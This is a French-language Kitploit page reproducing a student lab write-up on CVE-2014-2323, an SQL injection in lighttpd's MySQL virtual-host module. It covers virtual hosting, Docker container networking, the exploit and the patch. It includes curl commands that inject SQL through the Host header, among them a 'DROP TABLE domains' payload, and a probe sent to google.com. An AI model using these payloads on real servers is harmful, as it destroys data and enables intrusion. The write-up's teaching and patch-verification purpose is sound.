Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
lighty-sqlinj-demo — CVE-2014-2323 exploit demonstration | Kitploit
Outils/GitHubGitHub/cirocosta/lighty-sqlinj-demo
Container SecurityVulnerability AnalysisWeb Application ExploitationLearning & EducationLabs & Practice
GitHubcirocosta/lighty-sqlinj-demo

lighty-sqlinj-demo

CVE-2014-2323 exploit demonstration

Voir le dépôt
8il y a 10 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

title: Ep4 - Vulnérabilité liée aux Réseaux members:

  • Ciro S. Costa
  • Marcela Terakado date: 10 Nov, 2015

Vulnérabilité associée :

root@kitploit:~
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.

Confirmer : http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt

  • Version affectée : 1.4.34

Présentation

  • Expliquer la faille
    • présenter le service à exploiter
    • où, dans le code source, se trouve la faille
    • correction de la faille
  • Préparer des démos relatives à l'exploit
    • Exploit
    • Appliquer la correction de la faille
    • Tenter d'exploiter à nouveau
  • lighttpd (lighty)
  • Hébergement Virtuel
    • Préparation d'un serveur Lighttpd
  • SQL
    • Injection SQL
  • Docker
    • Réseau des conteneurs
  • Démo !
    • Exploit
    • Vérification du correctif

lighttpd (lighty)

Le service à exploiter est Lighttpd. C'est un serveur web open-source (licence BSD) optimisé pour être léger et rapide. Il est apparu comme une 'preuve de concept' du fameux problème c10k (comment gérer 10 000 connexions simultanées sur un serveur), et a ainsi gagné une grande popularité à l'époque (2003), actuellement utilisé par Whatsapp.com, Xkcd et par le passé, Youtube. Son positionnement sur le marché est assez intéressant, comme le montre le graphique :

Posicionamento Lighttpd - Tráfego x Quantidade de Websites

Le serveur cherche à gérer le problème de nombreuses connexions en utilisant des mécanismes asynchrones via des événements (kqueue sous BSD, epoll sous Linux) réduisant le besoin de plusieurs threads, ce qui se traduit par une empreinte mémoire bien plus faible et une meilleure utilisation du CPU (stratégie également utilisée par les serveurs Nginx, dont l'utilisation a considérablement augmenté au fil des ans) :

Mercado Servidores

L'une des fonctionnalités de lighty est la gestion aisée des hôtes virtuels.

Hébergement Virtuel

Il s'agit d'une méthode utilisée pour héberger plusieurs noms de domaine dont la résolution se fait vers une même adresse IP, réduisant ainsi les coûts d'hébergement pour les entreprises souhaitant proposer des sites web, car il n'est pas nécessaire de réserver un serveur dédié pour chaque site.

La technique peut être basée sur IP (une interface par hôte) ou basée sur le nom (un nom par hôte, partageant l'interface) - explorée dans cette présentation.

Basé sur le nom

: utilise le 'Hostname' fourni par le client pour identifier quel service utiliser pour répondre en conséquence. Cette méthode présente deux difficultés : des complications pour gérer les sessions sécurisées (TLS) - la poignée de main doit être effectuée avant tout passage d'en-tête indiquant l'hôte au serveur, compliquant alors la détermination du certificat à présenter lors de la poignée de main. Une solution à ce problème est une extension de TLS appelée Server Name Indication (SNI) qui permet de présenter le nom au début de la poignée de main, permettant ainsi le choix du certificat correct. Un second problème concerne la tentative de connexion sans en-tête Host bien défini, entraînant une indétermination du service à utiliser.

Hôte virtuel - redes.io Hôte virtuel - mac0448.io

Basé sur IP

: utilise des IP séparés pour chaque application. Le serveur web est alors configuré pour plusieurs interfaces réseau physiques (ou virtuelles sous une même interface) et répond ensuite en fonction de l'adresse IP (de destination).

L'IP aliasing permet de créer des interfaces virtuelles pour chaque service.

Dans le cas d'une grande entreprise, il peut devenir complexe de gérer ce mappage selon le nombre de clients. Lighty offre donc un support pour l'utilisation d'une base de données à cette fin, comme nous le montrerons plus loin.

Avant cela, voyons comment faire "à la main" la configuration d'un serveur puis ajouter du vhosting.

Préparation d'un serveur Lighttpd

Préparer un serveur de base lighttpd est très simple. Il suffit de l'installer et de créer un fichier de configuration qui spécifie le port à utiliser, comment répondre à certaines requêtes et autres réglages.

Nous pouvons préparer un exemple de configuration qui ne fait que recevoir des requêtes de fichiers statiques (.html ou .txt) :

root@kitploit:~
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

Imaginez maintenant que nous souhaitions créer une entreprise basée sur la vente de sites et offrir un nom de domaine propre à l'acheteur. Afin de minimiser les coûts, nous souhaitons alors créer des vhosts pour chaque client. Disons que le cours du réseau souhaite acquérir trois sites web : redes.io, mac0448.io et mac5910.io. Notre entreprise enregistre alors les domaines, pointant tous vers l'IP de notre unique serveur, avec une seule interface.

ps : pour simuler cela, nous pouvons modifier le fichier /etc/hosts :

root@kitploit:~
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io

Pour être capables de servir les différents sites web des clients en résolvant à partir d'une seule IP, nous pouvons alors configurer le serveur manuellement :

root@kitploit:~
server.document-root = "/usr/lighttpd/default/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

$HTTP["host"] == "redes.io" {
  server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
  server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
  server.document-root = "/usr/lighttpd/mac5910/"
}

Mais, comme on peut l'imaginer, cela peut devenir un problème à mesure que nous souhaitons gérer de nombreux clients et fournir différentes configurations à chaque site web comme mentionné précédemment.

Avec le module mod_mysql_vhost, nous pouvons alors connecter notre serveur à une base de données mysql responsable de ce mappage. Nous spécifions alors le nom de la base de données, comment la trouver sur notre réseau et quelle commande utiliser pour effectuer la recherche.

root@kitploit:~
server.modules = (
	"mod_accesslog",
	"mod_mysql_vhost"
)

mysql-vhost.db		= "NOME_DO_BANCO"
mysql-vhost.user	= "USUARIO"
mysql-vhost.pass	= "SENHA"

(!!!!!!!!!!!!!!!)
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)

mysql-vhost.hostname	= "HOSTNAME"
mysql-vhost.port	= "PORTA"

SQL

SQL est un langage déclaratif pour administrer des bases de données relationnelles, utilisé (...) etc

TODO

  • SELECT
  • INSERT
  • UPDATE
  • DELETE
  • DROP
  • (...)

TODO

Les problèmes surviennent alors du fait que les systèmes de gestion de base de données utilisant SQL supposent que les commandes saisies seront des commandes connues de l'administrateur et bien gérées par lui. Cette hypothèse n'est pas toujours vraie, car une défaillance dans les systèmes qui interagissent avec le SGBD peut présenter des failles, notamment sur le web, où l'interaction avec l'utilisateur est grande.

Injection SQL

Le problème avec les commandes SQL apparaît lorsqu'on a l'intention de construire les commandes en utilisant du texte provenant de l'utilisateur, que ce soit un nom d'utilisateur, un mot de passe ou tout autre contenu dynamique.

(TODO)

Comment résoudre ? L'échappement.

Dans notre configuration, par exemple, nous avons une grande faille :

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"

car probablement (et c'est ce qui se passait jusqu'à la version 1.4.34) le ? peut être remplacé par n'importe quelle commande et exécuté par MySQL.

Simulons donc cela dans un réseau avec 3 conteneurs : 1 serveur mysql et deux serveurs lighttpd, un vulnérable et un corrigé.

Docker

Docker fournit une couche d'abstraction au-dessus du système d'exploitation qui permet la virtualisation sans nécessiter un autre OS grâce à l'utilisation de mécanismes d'isolation fournis par le noyau, comme les cgroups (isoler l'utilisation du CPU, IO, mémoire et réseau d'une collection de processus) et les namespaces, supprimant ainsi tout le surcoût lié au démarrage et à la maintenance d'une machine virtuelle. Il y a donc une grande optimisation concernant l'allocation des ressources (par exemple, 100 machines virtuelles avec des images de 1 Go ==> 100 Go. 100 conteneurs d'une image de 1 Go ==> ~1 Go.) et le partage du traitement, ainsi que du noyau et du système d'exploitation lui-même. Les fichiers communs aux conteneurs peuvent également être partagés via un système de fichiers en couches.

Docker vs VM

Une analogie intéressante pour les namespaces est le chroot, qui permet à un processus de voir un répertoire comme la racine de tout son système de fichiers, modifiant sa perspective du système (sans altérer le reste du système). Avec les namespaces, nous pouvons créer cette perspective différenciée pour divers autres aspects du système d'exploitation, tels que l'arborescence des processus, les interfaces réseau, le système de fichiers, l'IPC et autres.

(voir plus : Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)

Il faut tenir compte du fait que l'utilisateur peut ne pas vouloir un tel partage et peu d'isolation.

Réseau des conteneurs

Au démarrage du démon Docker, une interface virtuelle appelée docker0 est configurée sur l'hôte, en sélectionnant un sous-réseau non utilisé par l'hôte, puis en attribuant une IP libre à l'interface virtuelle. Rappelons qu'un des trois plages pouvait être utilisé :

root@kitploit:~
   The Internet Assigned Numbers Authority (IANA) has reserved the
   following three blocks of the IP address space for private internets:

     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

Sur ma machine, par exemple :

root@kitploit:~
docker0   Link encap:Ethernet  HWaddr 02:42:58:ca:78:6d  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4196391 (4.1 MB)  TX bytes:380442767 (380.4 MB)

Pour chaque conteneur instancié avec des configurations réseau par défaut, le démon configure alors une interface (dans l'exemple ci-dessous, verth5998947 pour le conteneur 1, par exemple) sur l'hôte (partie du sous-réseau de docker0) et une autre interface dans le conteneur (eth0), en plus de modifier la configuration iptables (permet à l'administrateur de définir des tables de chaînes de règles pour le traitement des paquets sur l'hôte) et le NAT pour que le trafic externe soit acheminé vers les conteneurs.

Interfaces avec docker

Démo !

La démonstration nécessite un environnement avec docker correctement configuré sur une machine Linux. Ceci fait, l'image doit être créée :

root@kitploit:~
$ ./scripts/create-lighty-image.sh

La commande ci-dessus créera alors une image basée sur le fichier Dockerfile, contenant les codes sources des deux versions de lighttpd : vulnérable et corrigée.

Ceci fait, nous pouvons alors instancier les conteneurs qui représenteront les instances de traitement faisant partie de la démo et la base de données, également isolée comme un conteneur :

root@kitploit:~
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched

Nous obtenons comme résultat :

  • serveur mysql écoutant sur le port 3306 de lighty-mysqlserver.
  • serveur lighty écoutant sur le port 80 du conteneur lighty-vulnerable.
  • serveur lighty écoutant sur le port 80 du conteneur lighty-patched.

Containers

Pour obtenir les IP des conteneurs, il suffit d'exécuter la commande :

root@kitploit:~
$ ./scripts/getips.sh

Docker container ip Addresses:
 - lighty-vulnerable:  172.17.0.3
 - lighty-patched:  172.17.0.4
 - lighty-mysqlserver: 172.17.0.2

Les 'supposées machines' sont prêtes, il ne reste plus qu'à configurer le DNS pour que la résolution d'adresses soit faite correctement. À ce moment, nous pourrions créer un autre conteneur, dédié à la résolution des requêtes DNS à l'aide d'un serveur BIND, mais pour gagner du temps, nous pouvons simplement éditer le /etc/hosts :

root@kitploit:~
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io

Nous devons maintenant faire en sorte que le serveur lighttpd soit capable d'effectuer la tâche d'hébergement virtuel en utilisant le serveur mysql. Pour cela, nous devons insérer les entrées dans la base de données afin que nos serveurs puissent gérer la tâche selon la base de données (en utilisant les scripts ci-dessus, il n'est pas nécessaire d'effectuer la procédure ci-dessous - le script initialise déjà la table) :

root@kitploit:~
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| lighttpd           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
    -> domain varchar(64) not null primary key,
    -> docroot varchar(128) not null
    -> );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');

mysql> SELECT * FROM domains;
+------------+------------------------+
| domain     | docroot                |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io   | /usr/lighttpd/redes/   |
+------------+------------------------+

À partir de cet instant, les serveurs sont capables de réaliser l'hébergement virtuel basé sur la base de données.

Exploit

L'attaque consiste à exploiter une faille dans la phase d'analyse de l'en-tête Host envoyé dans les requêtes HTTP avec un Host de type IPv6. La méthode responsable de l'analyse permet que, outre l'hôte, d'autres caractères soient lus et interprétés comme tels. Le problème est que, comme montré précédemment, dans la commande de recherche d'un hôte virtuel, une chaîne d'hôte est placée aveuglément (sans échappement) dans la commande SQL :

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"

Une requête bien intentionnée présente alors le flux de paquets suivant lorsque nous "sniffons" l'interface par défaut docker0, par laquelle tous les paquets entre les conteneurs transitent :

Flux de paquets OK

Analysons alors chaque composant du flux :

Requête HTTP bien formée Requête HTTP OK

Requête MySQL bien formée Requête MySQL OK

Réponse MySQL Réponse MySQL OK

Réponse HTTP Réponse HTTP OK

Nous pouvons alors exploiter cette vulnérabilité.

En utilisant curl, nous pouvons forger des requêtes malveillantes comme décrit dans la confirmation de la CVE.

root@kitploit:~
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Erreur de serveur

Nous pouvons clairement détecter qu'il y a une vulnérabilité à exploiter puisqu'une erreur interne de serveur ne devrait pas se produire. En testant le même script sur le serveur de google :

root@kitploit:~
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com

<html><title>Error 400 (Bad Request)!!1</title></html>% 

Nous confirmons que nous pouvons exploiter la base de données en analysant la requête faite à la base :

Requête MySQL mal formée Requête MySQL mal formée

Réponse MySQL Réponse à la requête MySQL mal formée

Nous pouvons alors poursuivre avec des commandes destructrices !

root@kitploit:~
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Requête HTTP malveillante Requête HTTP malveillante

Requête MySQL malveillante Requête MySQL malveillante

Réponse MySQL Réponse à la requête MySQL malveillante

Et la table a disparu ! Par conséquent, le serveur ne sera pas capable de résoudre les hôtes virtuels en dehors de celui configuré par défaut.

Vérification du correctif

Comme notre base de données a perdu la table d'hébergement virtuel, nous devons la récupérer. Pour cela, il suffit d'exécuter, dans le conteneur, le processus de création de table et d'insertion des valeurs :

root@kitploit:~
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"

Nous pouvons vérifier que le correctif résout le problème en essayant de réaliser l'attaque à nouveau (maintenant sur le serveur corrigé) :

root@kitploit:~
```sh
$ ./scripts/exploit4

curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Nous effectuons alors la requête HTTP malveillante :

Requête HTTP malveillante vers le serveur corrigé Requête HTTP malveillante vers le serveur corrigé

Mais regardons le flux de paquets sur le réseau :

Flux de paquets Flux de paquets - serveur corrigé

Comme nous pouvons le voir, comme il s'agit d'un paquet malveillant, le serveur retourne déjà une erreur de requête mal formée et ne fait aucune demande à la base de données.

Correctif

La vulnérabilité s'exprime dans deux parties du code : dans le module mod_mysql_vhost (qui ne devrait, en dernier recours, pas interpréter ce qui a été passé dans cette partie de la requête comme une commande valide) et dans le traitement des requêtes request.c.

mod_mysql_vhost.c

Dans le module, la résolution du problème est simple, il suffit d'inclure la routine d'échappement fournie par MySQL et alors si éventuellement une commande malveillante est insérée, rien ne se produira sur le serveur (puisque MySQL indiquera l'erreur).

Correctif du module

request.c

Dans le code de requête, il y a un traitement pour le cas où après l'adresse IPv6 la chaîne ne se termine pas (c'est-à-dire qu'elle ne contient pas \0). Jusqu'à présent, le serveur était capable d'identifier correctement si le nom d'hôte est valide selon la grammaire (acceptant également les cas où un port est passé avec l'adresse) mais lorsque le port n'était pas passé (on terminait un IPv6 valide), le reste de la chaîne après la fermeture des crochets (qui indique la fin d'une adresse) n'était pas supprimé.

Ainsi :

Correctif du request.c

on vérifie alors le cas.

Commits:

  • patched: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
  • non-patched: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f

Ressources

  • http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
  • http://lighttpd.net/
Télécharger l’outil